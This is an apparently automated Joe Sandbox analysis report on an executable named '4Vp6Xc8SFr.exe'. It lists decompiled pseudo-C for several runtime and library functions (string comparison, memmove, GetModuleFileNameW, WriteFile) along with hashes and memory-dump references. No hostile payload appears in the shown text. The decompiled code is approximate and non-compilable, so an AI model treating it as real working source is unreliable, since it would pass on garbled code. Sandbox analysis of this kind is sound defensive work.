				_t55 =  *0xfd84f008; // 0xda4bfe61f88d
				_t56 = _t55 ^ _t76;
				_v72 = _t56;
				_t87 = r8d;
				_v360 = __r9;
				r8d = 0x10;
				_t73 = __r9;
				if (strncmp(??, ??, ??) == 0) goto 0xfd743c20;
				r8d = 0x16;
				if (strncmp(??, ??, ??) == 0) goto 0xfd743cff;
				_t46 = r13d;
				if (_t46 <= 0) goto 0xfd7420ce;
				if (_t46 == 0) goto 0xfd7420c6;
				if (_t56 + 1 - _t87 < 0) goto 0xfd7420a0;
				r15d =  !(( *(__rdx + __imp___Py_ctype_toupper) & 0x000000ff ^ ( *(__rdx + __imp___Py_ctype_toupper) & 0x000000ff & 0xff000000) >> 0x00000018) & 0x00ffffff) & 0x0000ffff;
				_t43 =  *((intOrPtr*)(0xfd7adcf0 + _t89 * 4));
				if ( *((intOrPtr*)(0xfd7adcf0 + _t89 * 4)) == 0) goto 0xfd7421f5;
				r9d = 0x100;
				_v392 = 1;
				if (E00007FFC7FFCFD742210( *((intOrPtr*)(0xfd7adcf0 + _t89 * 4)), __rbx, __rcx, "CJK UNIFIED IDEOGRAPH-", __r9, _t74,  &_v344) == 0) goto 0xfd742189;
				if (r13d <= 0) goto 0xfd742144;
				r8d =  *( &_v344 + __imp___Py_ctype_toupper) & 0x000000ff;
				if (r8d !=  *((char*)( &_v344 + _t59))) goto 0xfd742189;
				if (_t59 + 1 - _t87 < 0) goto 0xfd742121;
				if ( *((char*)(_t76 + _t87 + 0x50)) != 0) goto 0xfd742189;
				r8d = _a40;
				return E00007FFC7FFCFD7427A0(E00007FFC7FFCFD742400( *((intOrPtr*)(0xfd7adcf0 + _t89 * 4)), __rcx, _t73), _t43, _v72 ^ _t76);
			}



















                                                                                                                              0x7ffcfd742010
                                                                                                                              0x7ffcfd742010
                                                                                                                              0x7ffcfd742020
                                                                                                                              0x7ffcfd742027
                                                                                                                              0x7ffcfd74202e
                                                                                                                              0x7ffcfd742031
                                                                                                                              0x7ffcfd74203c
                                                                                                                              0x7ffcfd742042
                                                                                                                              0x7ffcfd742051
                                                                                                                              0x7ffcfd742057
                                                                                                                              0x7ffcfd742062
                                                                                                                              0x7ffcfd742068
                                                                                                                              0x7ffcfd742082
                                                                                                                              0x7ffcfd74208a
                                                                                                                              0x7ffcfd74208d
                                                                                                                              0x7ffcfd7420b9
                                                                                                                              0x7ffcfd7420cc
                                                                                                                              0x7ffcfd7420d9
                                                                                                                              0x7ffcfd7420dd
                                                                                                                              0x7ffcfd7420e3
                                                                                                                              0x7ffcfd7420e9
                                                                                                                              0x7ffcfd7420ef
                                                                                                                              0x7ffcfd742108
                                                                                                                              0x7ffcfd74210d
                                                                                                                              0x7ffcfd74212e
                                                                                                                              0x7ffcfd74213a
                                                                                                                              0x7ffcfd742142
                                                                                                                              0x7ffcfd74214a
                                                                                                                              0x7ffcfd74214c
                                                                                                                              0x7ffcfd742188

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: strncmp
                                                                                                                              • String ID: CJK UNIFIED IDEOGRAPH-$HANGUL SYLLABLE
                                                                                                                              • API String ID: 1114863663-87138338
                                                                                                                              • Opcode ID: f9062e7cd48a9c9a86cd9813eff79ab4e0bc535cd0efc74b2f7439f49aa03786
                                                                                                                              • Instruction ID: 947f2aff03540ec4fc4ca11a5a16bcad809e7c64efb740cfbe102fb4d4e575a5
                                                                                                                              • Opcode Fuzzy Hash: f9062e7cd48a9c9a86cd9813eff79ab4e0bc535cd0efc74b2f7439f49aa03786
                                                                                                                              • Instruction Fuzzy Hash: 46816D32608AAAC6E7258B1598606BAF751FB46749F400133DB6E4B6CCEF3DD415C7B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD86153C Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 159COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memmove
                                                                                                                              • String ID: ..\s\crypto\ct\ct_oct.c
                                                                                                                              • API String ID: 2162964266-1972679481
                                                                                                                              • Opcode ID: a7b3a4ca31958b792802e320a1a90a1b67396cf0767f730d082d836c556153cf
                                                                                                                              • Instruction ID: 118d2c1383a1b1cbff65d7c3ed56b6cbc5a26f2291ffcea741b1d965f4fe0ffb
                                                                                                                              • Opcode Fuzzy Hash: a7b3a4ca31958b792802e320a1a90a1b67396cf0767f730d082d836c556153cf
                                                                                                                              • Instruction Fuzzy Hash: 2E71D66260D6A989E715CF6580201BCBB70EB55F48F144232EEAD037C6FE2DD65AC7B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD913670 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 155stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: strncmp
                                                                                                                              • String ID: content-type
                                                                                                                              • API String ID: 1114863663-3266185539
                                                                                                                              • Opcode ID: 23c524c28c8597e3cfd1575776d6829749d509832690984e05b94f6b4c445134
                                                                                                                              • Instruction ID: ce33d23901fc524f856179bd0d51bc3539bc35035965a8c905f43a0ab3cee316
                                                                                                                              • Opcode Fuzzy Hash: 23c524c28c8597e3cfd1575776d6829749d509832690984e05b94f6b4c445134
                                                                                                                              • Instruction Fuzzy Hash: C651F652B1C56A41FB20A796946037AE7B1AF44BA4F051238ED7D47BC5FE2CE605C3B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D1F70 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: LongWindow$DialogInvalidateRect
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1956198572-0
                                                                                                                              • Opcode ID: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
                                                                                                                              • Instruction ID: cce63523b37562e1ed21a6ef47c86d7ad9f81d523b7969d044a97034b57c0e1a
                                                                                                                              • Opcode Fuzzy Hash: 162ef6909b0da24e61350fefbcaa0130b5f771c4d53ef42d88aea1c24daf7f6c
                                                                                                                              • Instruction Fuzzy Hash: 6511C621E1814346FA56A76AE5442BDD292FFD9791FC88072ED4906BCBDE2CD4A18310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F4C8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 58%
                                                                                                                              			E00007FF77FF7DA8F4C8C(void* __ebx, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __r8, void* __r9, void* __r10, long long _a8, long long _a16) {
				char _v16;
				intOrPtr _v32;
				char _v40;
				signed long long _v48;
				signed long long _v56;
				intOrPtr _v64;
				long long _v72;
				void* _t28;
				void* _t29;
				long long _t57;

				_t29 = __ebx;
				_a8 = __rbx;
				_a16 = __rsi;
				_t57 = __r8;
				if (E00007FF77FF7DA8F07F0(__rax, __r9, __rdx, __rdx, __r8, __rcx, __r9) != 0) goto 0xda8f4d59;
				E00007FF77FF7DA8E496C(__rax, __r9,  &_v40, __rdx, __r8);
				if ( *((intOrPtr*)(_v32 + 0xc)) != 0xfde9) goto 0xda8f4cec;
				if (_v16 == 0) goto 0xda8f4d23;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				goto 0xda8f4d23;
				_t28 = E00007FF77FF7DA8EDF1C(_v16, _v40);
				if (_t28 != 0) goto 0xda8f4d0e;
				if (_v16 == _t28) goto 0xda8f4d07;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				goto 0xda8f4d23;
				if (_v16 == 0) goto 0xda8f4d21;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				_v48 = _v48 & 0x00000000;
				r9d = _t29;
				_v56 = _v56 & 0x00000000;
				_v64 = 0x3f;
				_v72 = _t57;
				E00007FF77FF7DA8EF008();
				return _t28;
			}













                                                                                                                              0x7ff7da8f4c8c
                                                                                                                              0x7ff7da8f4c8c
                                                                                                                              0x7ff7da8f4c91
                                                                                                                              0x7ff7da8f4c9e
                                                                                                                              0x7ff7da8f4cb8
                                                                                                                              0x7ff7da8f4cc3
                                                                                                                              0x7ff7da8f4cd5
                                                                                                                              0x7ff7da8f4cdc
                                                                                                                              0x7ff7da8f4ce3
                                                                                                                              0x7ff7da8f4cea
                                                                                                                              0x7ff7da8f4cec
                                                                                                                              0x7ff7da8f4cf3
                                                                                                                              0x7ff7da8f4cf9
                                                                                                                              0x7ff7da8f4d00
                                                                                                                              0x7ff7da8f4d0c
                                                                                                                              0x7ff7da8f4d13
                                                                                                                              0x7ff7da8f4d1a
                                                                                                                              0x7ff7da8f4d23
                                                                                                                              0x7ff7da8f4d29
                                                                                                                              0x7ff7da8f4d2c
                                                                                                                              0x7ff7da8f4d35
                                                                                                                              0x7ff7da8f4d3f
                                                                                                                              0x7ff7da8f4d44
                                                                                                                              0x7ff7da8f4d58

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _get_daylight$_invalid_parameter_noinfo
                                                                                                                              • String ID: ?
                                                                                                                              • API String ID: 1286766494-1684325040
                                                                                                                              • Opcode ID: f58b13cede135560bdf6ee0e5db3f19b88cd01c01375eb69c3fd42c2923875b2
                                                                                                                              • Instruction ID: c4faeeb689ebf7bc036577efb97a5ab3b36e216536f72d62141b9da85c6d4634
                                                                                                                              • Opcode Fuzzy Hash: f58b13cede135560bdf6ee0e5db3f19b88cd01c01375eb69c3fd42c2923875b2
                                                                                                                              • Instruction Fuzzy Hash: A241E512A0928745FB26BB25A40137DEA60FBA07A4FD04277EE5C06ADBDF3DD4618710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E7DBC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 54%
                                                                                                                              			E00007FF77FF7DA8E7DBC(void* __ecx, intOrPtr* __rax, long long __rbx, void* __rcx, void* __r8, long long _a8, signed int _a16, signed int _a24, signed int _a32) {
				long long _v56;
				void* __rdi;
				void* __rsi;
				void* __r14;
				void* _t30;
				intOrPtr _t36;
				intOrPtr _t42;
				intOrPtr* _t65;
				long long _t71;
				void* _t73;
				long long _t87;
				signed int _t88;
				intOrPtr* _t89;
				void* _t99;

				_t73 = __rcx;
				_a8 = __rbx;
				r14d = __ecx;
				if (__ecx == 0) goto 0xda8e7f2b;
				_t2 = _t73 - 1; // -1
				if (_t2 - 1 <= 0) goto 0xda8e7dfa;
				E00007FF77FF7DA8E4394(__rax);
				_t3 = _t88 + 0x16; // 0x16
				_t42 = _t3;
				 *__rax = _t42;
				E00007FF77FF7DA8E9D00();
				goto 0xda8e7f2b;
				r8d = 0x104;
				GetModuleFileNameW(??, ??, ??);
				_t89 =  *0xda91c768; // 0x17ac75422ea
				 *0xda91c740 = 0xda91c790;
				if (_t89 == 0) goto 0xda8e7e2a;
				if ( *_t89 != _t42) goto 0xda8e7e2d;
				_t65 =  &_a32;
				_a24 = _t88;
				_v56 = _t65;
				r8d = 0;
				_a32 = _t88;
				_t30 = E00007FF77FF7DA8E7BB8(0xda91c790, 0xda91c790, 0xda91c790, _t88, 0xda91c790, __r8,  &_a24, _t99);
				r8d = 2;
				E00007FF77FF7DA8E7D5C(_t30, _a24, _a32, __r8);
				_t71 = _t65;
				if (_t65 != 0) goto 0xda8e7e85;
				E00007FF77FF7DA8E4394(_t65);
				 *_t65 = 0xc;
				E00007FF77FF7DA8E9D68(_t65, _a24);
				goto 0xda8e7df3;
				_v56 =  &_a32;
				E00007FF77FF7DA8E7BB8(_t71, 0xda91c790, _t71, _t88, 0xda91c790, _t65 + _a24 * 8,  &_a24, _t99);
				if (r14d != 1) goto 0xda8e7ebd;
				_t36 = _a24 - 1;
				 *0xda91c758 = _t71;
				 *0xda91c748 = _t36;
				goto 0xda8e7f26;
				_a16 = _t88;
				0xda8f0e7c();
				if (_t36 == 0) goto 0xda8e7eec;
				E00007FF77FF7DA8E9D68( &_a32, _a16);
				_a16 = _t88;
				E00007FF77FF7DA8E9D68( &_a32, _t71);
				goto 0xda8e7f2b;
				_t87 = _a16;
				if ( *_t87 == _t88) goto 0xda8e7f07;
				if ( *((intOrPtr*)(_t87 + 8)) != _t88) goto 0xda8e7efb;
				 *0xda91c748 = 0;
				_a16 = _t88;
				 *0xda91c758 = _t87;
				E00007FF77FF7DA8E9D68(_t87 + 8, _t88 + 1);
				_a16 = _t88;
				E00007FF77FF7DA8E9D68(_t87 + 8, _t71);
				return _t36;
			}

















                                                                                                                              0x7ff7da8e7dbc
                                                                                                                              0x7ff7da8e7dbc
                                                                                                                              0x7ff7da8e7dd1
                                                                                                                              0x7ff7da8e7dd6
                                                                                                                              0x7ff7da8e7ddc
                                                                                                                              0x7ff7da8e7de2
                                                                                                                              0x7ff7da8e7de4
                                                                                                                              0x7ff7da8e7de9
                                                                                                                              0x7ff7da8e7de9
                                                                                                                              0x7ff7da8e7dec
                                                                                                                              0x7ff7da8e7dee
                                                                                                                              0x7ff7da8e7df5
                                                                                                                              0x7ff7da8e7e01
                                                                                                                              0x7ff7da8e7e0c
                                                                                                                              0x7ff7da8e7e12
                                                                                                                              0x7ff7da8e7e19
                                                                                                                              0x7ff7da8e7e23
                                                                                                                              0x7ff7da8e7e28
                                                                                                                              0x7ff7da8e7e2d
                                                                                                                              0x7ff7da8e7e31
                                                                                                                              0x7ff7da8e7e39
                                                                                                                              0x7ff7da8e7e3e
                                                                                                                              0x7ff7da8e7e41
                                                                                                                              0x7ff7da8e7e4a
                                                                                                                              0x7ff7da8e7e53
                                                                                                                              0x7ff7da8e7e60
                                                                                                                              0x7ff7da8e7e65
                                                                                                                              0x7ff7da8e7e6b
                                                                                                                              0x7ff7da8e7e6d
                                                                                                                              0x7ff7da8e7e79
                                                                                                                              0x7ff7da8e7e7b
                                                                                                                              0x7ff7da8e7e80
                                                                                                                              0x7ff7da8e7e97
                                                                                                                              0x7ff7da8e7e9c
                                                                                                                              0x7ff7da8e7ea5
                                                                                                                              0x7ff7da8e7eaa
                                                                                                                              0x7ff7da8e7eac
                                                                                                                              0x7ff7da8e7eb3
                                                                                                                              0x7ff7da8e7ebb
                                                                                                                              0x7ff7da8e7ec1
                                                                                                                              0x7ff7da8e7ec8
                                                                                                                              0x7ff7da8e7ed1
                                                                                                                              0x7ff7da8e7ed7
                                                                                                                              0x7ff7da8e7edf
                                                                                                                              0x7ff7da8e7ee3
                                                                                                                              0x7ff7da8e7eea
                                                                                                                              0x7ff7da8e7eec
                                                                                                                              0x7ff7da8e7ef9
                                                                                                                              0x7ff7da8e7f05
                                                                                                                              0x7ff7da8e7f07
                                                                                                                              0x7ff7da8e7f0f
                                                                                                                              0x7ff7da8e7f13
                                                                                                                              0x7ff7da8e7f1a
                                                                                                                              0x7ff7da8e7f22
                                                                                                                              0x7ff7da8e7f26
                                                                                                                              0x7ff7da8e7f3d

                                                                                                                              APIs
                                                                                                                              • _invalid_parameter_noinfo.LIBCMT ref: 00007FF7DA8E7DEE
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: HeapFree.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D7E
                                                                                                                                • Part of subcall function 00007FF7DA8E9D68: GetLastError.KERNEL32(?,?,?,00007FF7DA8F1D92,?,?,?,00007FF7DA8F1DCF,?,?,00000000,00007FF7DA8F2295,?,?,?,00007FF7DA8F21C7), ref: 00007FF7DA8E9D88
                                                                                                                              • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7DA8DADC5), ref: 00007FF7DA8E7E0C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
                                                                                                                              • String ID: C:\Users\user\Desktop\4Vp6Xc8SFr.exe
                                                                                                                              • API String ID: 3580290477-1369563247
                                                                                                                              • Opcode ID: 6f3077debb45c183931d20493d9794d1e878d563dbd2d166ed5fea5177bb5a05
                                                                                                                              • Instruction ID: 8969b95f9412f05e38a9115bf6d1ebc9eb281ac98a7f6e7a9f58bb3ab5d8e94a
                                                                                                                              • Opcode Fuzzy Hash: 6f3077debb45c183931d20493d9794d1e878d563dbd2d166ed5fea5177bb5a05
                                                                                                                              • Instruction Fuzzy Hash: 7A413F31A08A52C5F716BF25A4400BCB7A4FB54B94BD44077EE4D83B56DF3EE5618320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EC058 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 29%
                                                                                                                              			E00007FF77FF7DA8EC058(signed int __edx, void* __edi, void* __rax, signed long long __rbx, intOrPtr* __rcx, long long __rbp, signed short* __r8, void* __r10, void* __r11, signed long long _a8, signed long long _a16, long long _a24, char _a40, char _a1744, char _a1752, signed int _a5176, void* _a5192) {
				intOrPtr _v0;
				signed long long _v8;
				signed int _t41;
				signed long long _t62;
				short* _t67;
				signed int* _t68;
				void* _t91;
				void* _t102;
				void* _t103;

				_a8 = __rbx;
				_a24 = __rbp;
				E00007FF77FF7DA8DAD20(0x1470, __rax, __r10, __r11);
				_t62 =  *0xda90d008; // 0xe3add53f52b8
				_a5176 = _t62 ^ _t91 - __rax;
				r14d = r9d;
				r10d = r10d & 0x0000003f;
				_t103 = _t102 + __r8;
				 *((long long*)(__rcx)) =  *((intOrPtr*)(0xda91ca20 + (__edx >> 6) * 8));
				 *((intOrPtr*)(__rcx + 8)) = 0;
				if (__r8 - _t103 >= 0) goto 0xda8ec199;
				_t67 =  &_a40;
				if (__r8 - _t103 >= 0) goto 0xda8ec102;
				_t41 =  *__r8 & 0x0000ffff;
				if (_t41 != 0xa) goto 0xda8ec0ee;
				 *_t67 = 0xd;
				_t68 = _t67 + 2;
				 *_t68 = _t41;
				if ( &(_t68[0]) -  &_a1744 < 0) goto 0xda8ec0d0;
				_a16 = _a16 & 0x00000000;
				_a8 = _a8 & 0x00000000;
				_v0 = 0xd55;
				_v8 =  &_a1752;
				r9d = 0;
				E00007FF77FF7DA8EF008();
				if (0 == 0) goto 0xda8ec191;
				if (0 == 0) goto 0xda8ec181;
				_v8 = _v8 & 0x00000000;
				r8d = 0;
				r8d = r8d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xda8ec191;
				if (0 + _a24 < 0) goto 0xda8ec14e;
				 *((intOrPtr*)(__rcx + 4)) = __edi - r15d;
				goto 0xda8ec0c5;
				 *((intOrPtr*)(__rcx)) = GetLastError();
				return E00007FF77FF7DA8DACF0(_t39, 0, _a5176 ^ _t91 - __rax);
			}












                                                                                                                              0x7ff7da8ec058
                                                                                                                              0x7ff7da8ec05d
                                                                                                                              0x7ff7da8ec06f
                                                                                                                              0x7ff7da8ec077
                                                                                                                              0x7ff7da8ec081
                                                                                                                              0x7ff7da8ec092
                                                                                                                              0x7ff7da8ec0a0
                                                                                                                              0x7ff7da8ec0a4
                                                                                                                              0x7ff7da8ec0bc
                                                                                                                              0x7ff7da8ec0c2
                                                                                                                              0x7ff7da8ec0c5
                                                                                                                              0x7ff7da8ec0cb
                                                                                                                              0x7ff7da8ec0d3
                                                                                                                              0x7ff7da8ec0d5
                                                                                                                              0x7ff7da8ec0e0
                                                                                                                              0x7ff7da8ec0e7
                                                                                                                              0x7ff7da8ec0ea
                                                                                                                              0x7ff7da8ec0ee
                                                                                                                              0x7ff7da8ec100
                                                                                                                              0x7ff7da8ec102
